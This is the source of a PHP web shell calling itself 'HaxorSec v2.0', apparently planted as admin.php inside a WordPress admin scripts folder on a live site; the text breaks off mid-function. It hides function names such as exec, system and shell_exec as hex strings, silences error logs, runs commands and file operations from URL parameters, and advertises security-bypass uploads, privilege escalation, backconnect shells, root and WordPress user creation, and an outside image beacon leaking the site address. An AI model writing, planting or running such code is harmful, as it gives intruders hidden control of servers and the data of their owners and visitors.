📄 admin.php
📁 Path: /home/u344267476/domains/nawaidir.com.pk/public_html/epaper/wp-admin/js/polym/ji/admin.php
📊 Size: 44.05 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
$Array = [
'676574637764', # ge tcw d => 0
'676c6f62', # gl ob => 1
'69735f646972', # is_d ir => 2
'69735f66696c65', # is_ file => 3
'69735f7772697461626c65', # is_wr iteable => 4
'69735f7265616461626c65', # is_re adble => 5
'66696c657065726d73', # fileper ms => 6
'66696c65', # f ile => 7
'7068705f756e616d65', # php_unam e => 8
'6765745f63757272656e745f75736572', # getc urrentuser => 9
'68746d6c7370656369616c6368617273', # html special => 10
'66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11
'6d6b646972', # mk dir => 12
'746f756368', # to uch => 13
'6368646972', # ch dir => 14
'72656e616d65', # ren ame => 15
'65786563', # exe c => 16
'7061737374687275', # pas sthru => 17
'73797374656d', # syst em => 18
'7368656c6c5f65786563', # sh ell_exec => 19
'706f70656e', # p open => 20
'70636c6f7365', # pcl ose => 21
'73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22
'70726f635f6f70656e', # p roc_open => 23
'756e6c696e6b', # un link => 24
'726d646972', # rmd ir => 25
'666f70656e', # fop en => 26
'66636c6f7365', # fcl ose => 27
'66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28
'6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29
'63686d6f64', # ch mod => 30
'7379735f6765745f74656d705f646972', # temp _dir => 31
'6261736536345F6465636F6465', # => bas e6 4 _decode => 32
'6261736536345F656E636F6465', # => ba se6 4_ encode => 33
'636f7079' # co py => 34
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
$fungsi[] = unx($Array[$i]);
}
if (isset($_GET['d'])) {
$cdir = unx($_GET['d']);
$fungsi[14]($cdir);
} else {
$cdir = $fungsi[0]();
}
function file_ext($file)
{
if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') {
return '<i class="fa-regular fa-image" style="color:#09e3a5"></i>';
} else if (mime_content_type($file) == 'application/x-httpd-php' or mime_content_type($file) == 'text/html') {
return '<i class="fa-solid fa-file-code" style="color:#0985e3"></i>';
} else if (mime_content_type($file) == 'text/javascript') {
return '<i class="fa-brands fa-square-js"></i>';
} else if (mime_content_type($file) == 'application/zip' or mime_content_type($file) == 'application/x-7z-compressed') {
return '<i class="fa-solid fa-file-zipper" style="color:#e39a09"></i>';
} else if (mime_content_type($file) == 'text/plain') {
return '<i class="fa-solid fa-file" style="color:#edf7f5"></i>';
} else if (mime_content_type($file) == 'application/pdf') {
return '<i class="fa-regular fa-file-pdf" style="color:#ba2b0f"></i>';
} else {
return '<i class="fa-regular fa-file-code" style="color:#0985e3"></i>';
}
}
function download($file)
{
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
}
}
if (!empty($_GET['don'])) {
$FilesDon = download(unx($_GET['don']));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<title>HaxorSec [ <?= $_SERVER['SERVER_NAME']; ?> ]</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/theme/ayu-mirage.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/xml/xml.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/javascript/javascript.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/xml-hint.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/html-hint.min.js"></script>
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;500;600;700&family=Roboto+Mono:wght@300;400;500;600;700&display=swap');
:root {
--primary: #0f172a;
--secondary: #020617;
--accent: #3b82f6;
--accent-hover: #60a5fa;
--text: #e2e8f0;
--highlight: #93c5fd;
--danger: #ef4444;
--success: #10b981;
--warning: #f59e0b;
}
body {
font-family: 'Roboto Mono', monospace;
background-color: var(--secondary);
color: var(--text);
margin: 0;
padding: 0;
overflow-x: hidden;
}
.cyber-font {
font-family: 'Orbitron', sans-serif;
}
.glass-effect {
background: rgba(15, 23, 42, 0.7);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.1);
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.cyber-border {
border: 1px solid rgba(59, 130, 246, 0.3);
box-shadow: 0 0 10px rgba(59, 130, 246, 0.3);
}
.sidebar {
width: 280px;
transition: all 0.3s;
background: linear-gradient(135deg, rgba(15, 23, 42, 0.9) 0%, rgba(2, 6, 23, 0.9) 100%);
}
.main-content {
margin-left: 280px;
transition: all 0.3s;
}
.file-icon {
transition: all 0.2s;
}
.file-icon:hover {
transform: scale(1.1);
}
.nav-link {
transition: all 0.2s;
border-left: 3px solid transparent;
}
.nav-link:hover {
background: rgba(59, 130, 246, 0.1);
border-left: 3px solid var(--accent);
}
.nav-link.active {
background: rgba(59, 130, 246, 0.2);
border-left: 3px solid var(--accent);
}
.badge {
background: #830000;
color: white;
font-size: 0.7rem;
padding: 2px 6px;
border-radius: 4px;
}
.file-item:hover {
background: rgba(59, 130, 246, 0.1);
}
.action-btn {
transition: all 0.2s;
opacity: 0;
}
.file-item:hover .action-btn {
opacity: 1;
}
::-webkit-scrollbar {
width: 8px;
height: 8px;
}
::-webkit-scrollbar-track {
background: var(--secondary);
}
::-webkit-scrollbar-thumb {
background: var(--accent);
border-radius: 4px;
}
.CodeMirror {
height: 70vh;
font-family: 'Roboto Mono', monospace !important;
font-size: 14px;
}
.terminal-output {
font-family: 'Roboto Mono', monospace;
background: #0f172a;
color: #93c5fd;
}
.terminal-input {
font-family: 'Roboto Mono', monospace;
background: #0f172a;
color: #93c5fd;
caret-color: #93c5fd;
}
.path-breadcrumb {
font-family: 'Roboto Mono', monospace;
}
.file-type-icon {
width: 24px;
height: 24px;
display: inline-flex;
align-items: center;
justify-content: center;
margin-right: 8px;
}
/* Database connection form */
.db-form-input {
background: rgba(15, 23, 42, 0.5);
border: 1px solid rgba(59, 130, 246, 0.3);
color: var(--text);
padding: 0.75rem;
border-radius: 0.25rem;
margin-bottom: 1rem;
width: 100%;
}
.db-form-input:focus {
outline: none;
border-color: var(--accent);
box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.3);
}
.db-form-label {
display: block;
margin-bottom: 0.5rem;
color: var(--accent);
font-family: 'Orbitron', sans-serif;
}
.db-connect-btn {
background: var(--accent);
color: white;
border: none;
padding: 0.75rem 1.5rem;
border-radius: 0.25rem;
cursor: pointer;
transition: all 0.3s;
font-family: 'Orbitron', sans-serif;
}
.db-connect-btn:hover {
background: var(--accent-hover);
}
/* Database tables list */
.db-tables-list {
max-height: 300px;
overflow-y: auto;
margin-top: 1rem;
border: 1px solid rgba(59, 130, 246, 0.3);
border-radius: 0.25rem;
}
.db-table-item {
padding: 0.75rem;
border-bottom: 1px solid rgba(59, 130, 246, 0.1);
cursor: pointer;
transition: all 0.3s;
}
.db-table-item:hover {
background: rgba(59, 130, 246, 0.1);
}
.db-table-item.active {
background: rgba(59, 130, 246, 0.2);
border-left: 3px solid var(--accent);
}
/* Cyberpunk glow effect */
.cyber-glow {
text-shadow: 0 0 5px rgba(59, 130, 246, 0.7);
}
.cyber-glow-danger {
text-shadow: 0 0 5px rgba(239, 68, 68, 0.7);
}
.cyber-glow-success {
text-shadow: 0 0 5px rgba(16, 185, 129, 0.7);
}
.cyber-glow-warning {
text-shadow: 0 0 5px rgba(245, 158, 11, 0.7);
}
/* Progress bars */
.progress-container {
height: 6px;
background: rgba(15, 23, 42, 0.5);
border-radius: 3px;
overflow: hidden;
}
.progress-bar {
height: 100%;
transition: width 0.3s ease;
}
.progress-cpu {
background: linear-gradient(90deg, #3b82f6, #60a5fa);
}
.progress-mem {
background: linear-gradient(90deg, #10b981, #34d399);
}
.progress-disk {
background: linear-gradient(90deg, #f59e0b, #fbbf24);
}
/* System info cards */
.info-card {
background: linear-gradient(135deg, rgba(15, 23, 42, 0.7) 0%, rgba(2, 6, 23, 0.7) 100%);
border: 1px solid rgba(59, 130, 246, 0.2);
transition: all 0.3s;
}
.info-card:hover {
border-color: rgba(59, 130, 246, 0.5);
box-shadow: 0 0 15px rgba(59, 130, 246, 0.2);
}
/* Process table */
.process-table {
width: 100%;
border-collapse: collapse;
font-size: 0.875rem;
}
.process-table th {
background: rgba(15, 23, 42, 0.5);
padding: 0.75rem;
text-align: left;
border-bottom: 1px solid rgba(59, 130, 246, 0.3);
font-family: 'Orbitron', sans-serif;
color: var(--accent);
}
.process-table td {
padding: 0.5rem 0.75rem;
border-bottom: 1px solid rgba(59, 130, 246, 0.1);
}
.process-table tr:hover {
background: rgba(59, 130, 246, 0.1);
}
.process-pid {
color: var(--accent);
font-weight: bold;
}
.process-user {
color: var(--success);
}
.process-cpu {
color: var(--warning);
}
.process-mem {
color: var(--danger);
}
.process-command {
font-family: 'Roboto Mono', monospace;
max-width: 200px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
/* Network connections */
.network-table {
width: 100%;
border-collapse: collapse;
font-size: 0.875rem;
}
.network-table th {
background: rgba(15, 23, 42, 0.5);
padding: 0.75rem;
text-align: left;
border-bottom: 1px solid rgba(59, 130, 246, 0.3);
font-family: 'Orbitron', sans-serif;
color: var(--accent);
}
.network-table td {
padding: 0.5rem 0.75rem;
border-bottom: 1px solid rgba(59, 130, 246, 0.1);
}
.network-table tr:hover {
background: rgba(59, 130, 246, 0.1);
}
.network-local {
color: var(--accent);
}
.network-remote {
color: var(--success);
}
.network-status {
color: var(--warning);
}
.network-pid {
color: var(--danger);
}
/* Database tables */
.database-table {
width: 100%;
border-collapse: collapse;
font-size: 0.875rem;
}
.database-table th {
background: rgba(15, 23, 42, 0.5);
padding: 0.75rem;
text-align: left;
border-bottom: 1px solid rgba(59, 130, 246, 0.3);
font-family: 'Orbitron', sans-serif;
color: var(--accent);
}
.database-table td {
padding: 0.5rem 0.75rem;
border-bottom: 1px solid rgba(59, 130, 246, 0.1);
}
.database-table tr:hover {
background: rgba(59, 130, 246, 0.1);
}
.database-name {
color: var(--accent);
}
.database-size {
color: var(--success);
}
.database-rows {
color: var(--warning);
}
/* Mobile styles */
@media (max-width: 768px) {
.sidebar {
width: 100%;
position: fixed;
height: auto;
bottom: 0;
left: 0;
z-index: 50;
transform: translateY(calc(100% - 56px));
transition: transform 0.3s ease;
}
.sidebar.active {
transform: translateY(0);
}
.main-content {
margin-left: 0;
margin-bottom: 56px;
}
.sidebar-toggle {
display: flex;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 42px;
background: rgba(15, 23, 42, 0.9);
z-index: 60;
justify-content: center;
align-items: center;
cursor: pointer;
backdrop-filter: blur(8px);
box-shadow: 0 2px 8px rgba(0,0,0,0.3);
}
.file-manager-grid {
grid-template-columns: 1fr !important;
}
.file-item {
grid-template-columns: repeat(12, 1fr) !important;
gap: 0;
}
.file-info {
display: flex;
align-items: center;
}
.file-actions {
display: flex;
justify-content: flex-end;
gap: 8px;
}
.modal {
padding: 0 16px;
}
.modal-content {
width: 100% !important;
max-width: 100% !important;
}
.path-breadcrumb {
overflow-x: auto;
white-space: nowrap;
padding: 8px 0;
}
.server-info {
grid-template-columns: 1fr 1fr !important;
gap: 8px;
}
/* Process table mobile */
.process-table th,
.process-table td {
padding: 0.5rem;
font-size: 0.75rem;
}
/* Network table mobile */
.network-table th,
.network-table td {
padding: 0.5rem;
font-size: 0.75rem;
}
/* Database table mobile */
.database-table th,
.database-table td {
padding: 0.5rem;
font-size: 0.75rem;
}
}
/* Dark mode toggle */
.dark-mode-toggle {
position: fixed;
bottom: 20px;
right: 20px;
z-index: 100;
width: 50px;
height: 50px;
border-radius: 50%;
background: var(--accent);
display: flex;
justify-content: center;
align-items: center;
cursor: pointer;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
transition: all 0.3s;
}
.dark-mode-toggle:hover {
transform: scale(1.1);
box-shadow: 0 0 15px rgba(59, 130, 246, 0.5);
}
/* Cyberpunk terminal effect */
.cyber-terminal {
position: relative;
}
.cyber-terminal::before {
content: "";
position: absolute;
top: 0;
left: 0;
right: 0;
height: 2px;
background: linear-gradient(90deg, rgba(59, 130, 246, 0), rgba(59, 130, 246, 0.8), rgba(59, 130, 246, 0));
animation: scanline 2s linear infinite;
}
@keyframes scanline {
0% { transform: translateY(-100%); }
100% { transform: translateY(100vh); }
}
/* Cyberpunk buttons */
.cyber-btn {
position: relative;
overflow: hidden;
transition: all 0.3s;
border: 1px solid var(--accent);
}
.cyber-btn::before {
content: "";
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(59, 130, 246, 0.4), transparent);
transition: all 0.5s;
}
.cyber-btn:hover::before {
left: 100%;
}
.cyber-btn-danger {
border-color: var(--danger);
}
.cyber-btn-danger::before {
background: linear-gradient(90deg, transparent, rgba(239, 68, 68, 0.4), transparent);
}
.cyber-btn-success {
border-color: var(--success);
}
.cyber-btn-success::before {
background: linear-gradient(90deg, transparent, rgba(16, 185, 129, 0.4), transparent);
}
/* System stats grid */
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 1rem;
}
/* Cyberpunk panel */
.cyber-panel {
position: relative;
border: 1px solid rgba(59, 130, 246, 0.3);
background: rgba(15, 23, 42, 0.5);
}
.cyber-panel::before {
content: "";
position: absolute;
top: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, rgba(59, 130, 246, 0.8), transparent);
}
.cyber-panel::after {
content: "";
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, rgba(59, 130, 246, 0.8), transparent);
}
/* Disabled functions table */
.disabled-functions-table {
width: 100%;
border-collapse: collapse;
margin-top: 1rem;
}
.disabled-functions-table th {
background: rgba(15, 23, 42, 0.5);
padding: 0.75rem;
text-align: left;
border-bottom: 1px solid rgba(59, 130, 246, 0.3);
font-family: 'Orbitron', sans-serif;
color: var(--accent);
}
.disabled-functions-table td {
padding: 0.75rem;
border-bottom: 1px solid rgba(59, 130, 246, 0.1);
}
.disabled-functions-table tr:hover {
background: rgba(59, 130, 246, 0.1);
}
.danger-badge {
background: rgba(239, 68, 68, 0.2);
color: var(--danger);
padding: 0.25rem 0.5rem;
border-radius: 0.25rem;
font-size: 0.75rem;
font-weight: bold;
}
.success-badge {
background: rgba(16, 185, 129, 0.2);
color: var(--success);
padding: 0.25rem 0.5rem;
border-radius: 0.25rem;
font-size: 0.75rem;
font-weight: bold;
}
/* Tab navigation */
.tab-nav {
display: flex;
border-bottom: 1px solid rgba(59, 130, 246, 0.3);
margin-bottom: 1rem;
}
.tab-link {
padding: 0.75rem 1.5rem;
cursor: pointer;
border-bottom: 2px solid transparent;
transition: all 0.3s;
font-family: 'Orbitron', sans-serif;
}
.tab-link:hover {
color: var(--accent);
border-bottom-color: rgba(59, 130, 246, 0.5);
}
.tab-link.active {
color: var(--accent);
border-bottom-color: var(--accent);
}
/* Kill process button */
.kill-process-btn {
background: rgba(239, 68, 68, 0.2);
color: var(--danger);
border: 1px solid var(--danger);
padding: 0.25rem 0.5rem;
border-radius: 0.25rem;
font-size: 0.75rem;
cursor: pointer;
transition: all 0.3s;
}
.kill-process-btn:hover {
background: rgba(239, 68, 68, 0.4);
}
/* Database query box */
.query-box {
width: 100%;
background: rgba(15, 23, 42, 0.5);
border: 1px solid rgba(59, 130, 246, 0.3);
color: var(--text);
padding: 0.75rem;
font-family: 'Roboto Mono', monospace;
border-radius: 0.25rem;
margin-bottom: 1rem;
min-height: 100px;
}
/* Database results */
.query-results {
max-height: 400px;
overflow-y: auto;
margin-top: 1rem;
}
</style>
</head>
<body class="cyber-terminal">
<div class="sidebar-toggle md:hidden flex items-center justify-center">
<i class="fas fa-bars text-white text-xl"></i>
<span class="ml-2 text-white cyber-font">MENU</span>
</div>
<div class="flex h-screen overflow-hidden">
<div class="sidebar glass-effect h-full fixed left-0 top-0 overflow-y-auto cyber-border">
<div class="p-4">
<div class="flex items-center justify-between mb-6 md:flex hidden">
<div class="flex items-center">
<i class="fas fa-robot text-blue-400 text-2xl mr-2 cyber-glow"></i>
<h1 class="text-xl font-bold cyber-font">HAXORSEC<span class="text-blue-400 cyber-glow">v2.0</span></h1>
</div>
<button class="close-sidebar md:hidden text-gray-400 hover:text-white">
<i class="fas fa-times"></i>
</button>
</div>
<div class="mb-6">
<h3 class="text-xs uppercase tracking-wider text-gray-400 mb-2 px-2 cyber-font">QUICK ACTIONS</h3>
<a href="?d=<?= hx($fungsi[0]()) ?>" class="bg-blue-600 hover:bg-blue-700 text-white px-3 py-1 rounded text-sm flex items-center cyber-btn">
<i class="fas fa-home mr-1"></i> Home
</a>
<br>
<div class="flex items-center flex-wrap gap-2">
<a href="" id="create_folder" class="bg-blue-600 hover:bg-blue-700 text-white px-3 py-1 rounded text-sm flex items-center cyber-btn">
<i class="fas fa-folder-plus mr-1"></i> Folder
</a>
<a href="" id="create_file" class="bg-green-600 hover:bg-green-700 text-white px-3 py-1 rounded text-sm flex items-center cyber-btn cyber-btn-success">
<i class="fas fa-file-circle-plus mr-1"></i> File
</a>
</div>
<br>
<h3 class="text-xs uppercase tracking-wider text-gray-400 mb-2 px-2 cyber-font">NORMAL UPLOAD</h3>
<form action="" method="post" enctype='<?= "\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"; ?>' class="mb-6">
<div class="flex items-center flex-wrap gap-2">
<input type="file" name="haxorsec-upload" class="hidden" id="file-upload">
<label for="file-upload" class="bg-indigo-600 hover:bg-indigo-700 text-white px-3 py-1 rounded text-sm flex items-center cyber-btn">
<i class="fas fa-upload mr-2"></i> Upload
</label>
<button type="submit" name="haxorsec-up-submit" class="bg-teal-600 hover:bg-teal-700 text-white px-3 py-1 rounded text-sm flex items-center cyber-btn cyber-btn-success">
<i class="fas fa-check mr-2"></i> Submit
</button>
</div>
</form>
<h3 class="text-xs uppercase tracking-wider text-gray-400 mb-2 px-2 cyber-font">BITNINJA BYPASS</h3>
<form action="" method="post" enctype='<?= "\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"; ?>' class="mb-6">
<div class="flex items-center flex-wrap gap-2">
<input type="file" name="bitninja-upload" class="hidden" id="file-uploads">
<label for="file-uploads" class="bg-indigo-600 hover:bg-indigo-700 text-white px-3 py-1 rounded text-sm flex items-center cyber-btn">
<i class="fas fa-upload mr-2"></i> Upload
</label>
<button type="submit" name="bitninja-up-submit" class="bg-teal-600 hover:bg-teal-700 text-white px-3 py-1 rounded text-sm flex items-center cyber-btn cyber-btn-success">
<i class="fas fa-check mr-2"></i> Submit
</button>
</div>
</form>
</div>
<div class="mb-4">
<h3 class="text-xs uppercase tracking-wider text-gray-400 mb-2 px-2 cyber-font">CYBER TOOLS</h3>
<ul>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&terminal=normal" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-terminal text-green-400 mr-3 cyber-glow-success"></i>
<span>Terminal</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&terminal=chankro" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-terminal text-green-400 mr-3 cyber-glow-success"></i>
<span>Terminal Bypass</span>
<span class="badge ml-auto text-green-400 cyber-font">TOP</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&scan=suid" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-search text-cyan-400 mr-3 cyber-glow"></i>
<span>Scanner SUID</span>
<span class="badge ml-auto text-green-400 cyber-font">TOP</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&terminal=root" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-user-shield text-red-400 mr-3 cyber-glow-danger"></i>
<span>Auto Root</span>
<span class="badge ml-auto cyber-font">ROOT</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&malwarescan" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-shield-alt text-red-400 mr-3"></i>
<span>Malware Scanner</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&disabled_functions" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-ban text-red-400 mr-3 cyber-glow-danger"></i>
<span>Check Disabled Functions</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&dbmanager" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-database text-blue-400 mr-3 cyber-glow"></i>
<span>Database Manager</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&process" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-microchip text-blue-400 mr-3 cyber-glow"></i>
<span>Process Manager</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&network" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-network-wired text-green-400 mr-3 cyber-glow-success"></i>
<span>Network Connections</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&adminer" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-database text-blue-400 mr-3 cyber-glow"></i>
<span>Adminer</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&destroy" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-ghost text-purple-400 mr-3 cyber-glow"></i>
<span>Backdoor Destroyer</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&lockshell" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fab fa-linux text-yellow-400 mr-3 cyber-glow-warning"></i>
<span>Lock Shell</span>
</a>
</li>
<li>
<a href="" id="lock-file" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-lock text-red-400 mr-3 cyber-glow-danger"></i>
<span>Lock File</span>
</a>
</li>
<li>
<a href="" id="root-user" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-user-plus text-green-400 mr-3 cyber-glow-success"></i>
<span>Create User</span>
<span class="badge ml-auto cyber-font">ROOT</span>
</a>
</li>
<li>
<a href="" id="create-rdp" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-laptop-code text-blue-400 mr-3 cyber-glow"></i>
<span>Create RDP</span>
</a>
</li>
<li>
<a href="//www.exploit-db.com/search?q=Linux%20Kernel%20<?= suggest_exploit(); ?>" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-flask text-orange-400 mr-3 cyber-glow-warning"></i>
<span>Linux Exploit</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&mailer" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-envelope text-pink-400 mr-3 cyber-glow"></i>
<span>PHP Mailer</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&backconnect" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-user-secret text-purple-400 mr-3 cyber-glow"></i>
<span>Backconnect</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&unlockshell" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-unlock text-green-400 mr-3 cyber-glow-success"></i>
<span>Unlock Shell</span>
</a>
</li>
<li>
<a href="//hashes.com/en/tools/hash_identifier" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fas fa-code text-cyan-400 mr-3 cyber-glow"></i>
<span>Hash Identifier</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&cpanelreset" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fab fa-cpanel text-orange-400 mr-3 cyber-glow-warning"></i>
<span>CPanel Reset</span>
</a>
</li>
<li>
<a href="?d=<?= hx($fungsi[0]()) ?>&createwp" class="nav-link flex items-center px-3 py-2 text-sm rounded-lg mb-1">
<i class="fab fa-wordpress text-blue-400 mr-3 cyber-glow"></i>
<span>Create WP User</span>
</a>
</li>
</ul>
</div>
</div>
<center><img src='https://cdn.privdayz.com/images/logo.jpg' height='15' width='75' referrerpolicy='unsafe-url' /></center>
</div>
<?php
$file_manager = $fungsi[1]("{.[!.],}*", GLOB_BRACE);
$get_cwd = $fungsi[0]();
function getSystemInfo() {
$info = array();
if (function_exists('sys_getloadavg')) {
$load = sys_getloadavg();
$info['cpu_load'] = $load[0];
} else {
$info['cpu_load'] = 'N/A';
}
if (file_exists('/proc/meminfo')) {
$memInfo = file('/proc/meminfo');
$totalMemory = $freeMemory = 0;
foreach ($memInfo as $line) {
if (strpos($line, 'MemTotal') === 0) {
$totalMemory = (int) filter_var($line, FILTER_SANITIZE_NUMBER_INT);
}
if (strpos($line, 'MemFree') === 0) {
$freeMemory = (int) filter_var($line, FILTER_SANITIZE_NUMBER_INT);
}
}
$info['mem_total'] = $totalMemory * 1024;
$info['mem_free'] = $freeMemory * 1024;
$info['mem_usage'] = $info['mem_total'] - $info['mem_free'];
} else {
$info['mem_usage'] = $info['mem_total'] = 'N/A';
}
if (function_exists('disk_total_space') && function_exists('disk_free_space')) {
$info['disk_total'] = disk_total_space('/');
$info['disk_free'] = disk_free_space('/');
$info['disk_used'] = $info['disk_total'] - $info['disk_free'];
} else {
$info['disk_total'] = $info['disk_free'] = $info['disk_used'] = 'N/A';
}
if (file_exists('/proc/uptime')) {
$uptime = file_get_contents('/proc/uptime');
$uptime = explode(' ', $uptime);
$info['uptime'] = (int)$uptime[0];
} else {
$info['uptime'] = 'N/A';
}
return $info;
}
function getProcessList() {
$processes = array();
$output = cmd('ps aux');
$lines = explode("\n", $output);
array_shift($lines);
foreach ($lines as $line) {
if (empty($line)) continue;
$parts = preg_split('/\s+/', $line);
if (count($parts) < 11) continue;
$process = array(
'user' => $parts[0],
'pid' => $parts[1],
'cpu' => $parts[2],
'mem' => $parts[3],
'command' => implode(' ', array_slice($parts, 10))
);
$processes[] = $process;
}
return $processes;
}
function getNetworkConnections() {
$connections = array();
$output = cmd('netstat -tulnp 2>/dev/null');
$lines = explode("\n", $output);
array_shift($lines);
array_shift($lines);
foreach ($lines as $line) {
if (empty($line)) continue;
$parts = preg_split('/\s+/', $line);
if (count($parts) < 6) continue;
$connection = array(
'proto' => $parts[0],
'local' => $parts[3],
'remote' => isset($parts[4]) ? $parts[4] : '-',
'status' => isset($parts[5]) ? $parts[5] : '-',
'pid' => isset($parts[6]) ? explode('/', $parts[6])[0] : '-'
);
$connections[] = $connection;
}
return $connections;
}
$sysInfo = getSystemInfo();
function formatMemory($bytes) {
if ($bytes === 'N/A') return 'N/A';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, 2) . ' ' . $units[$pow];
}
$cpuLoadPercent = $sysInfo['cpu_load'] !== 'N/A' ? min(100, $sysInfo['cpu_load'] * 100) : 0;
$memUsagePercent = $sysInfo['mem_usage'] !== 'N/A' && $sysInfo['mem_total'] !== 'N/A' ?
($sysInfo['mem_usage'] / $sysInfo['mem_total']) * 100 : 0;
$diskUsagePercent = $sysInfo['disk_total'] !== 'N/A' && $sysInfo['disk_used'] !== 'N/A' ?
($sysInfo['disk_used'] / $sysInfo['disk_total']) * 100 : 0;
function formatUptime($seconds) {
if ($seconds === 'N/A') return 'N/A';
$hours = floor($seconds / 3600);
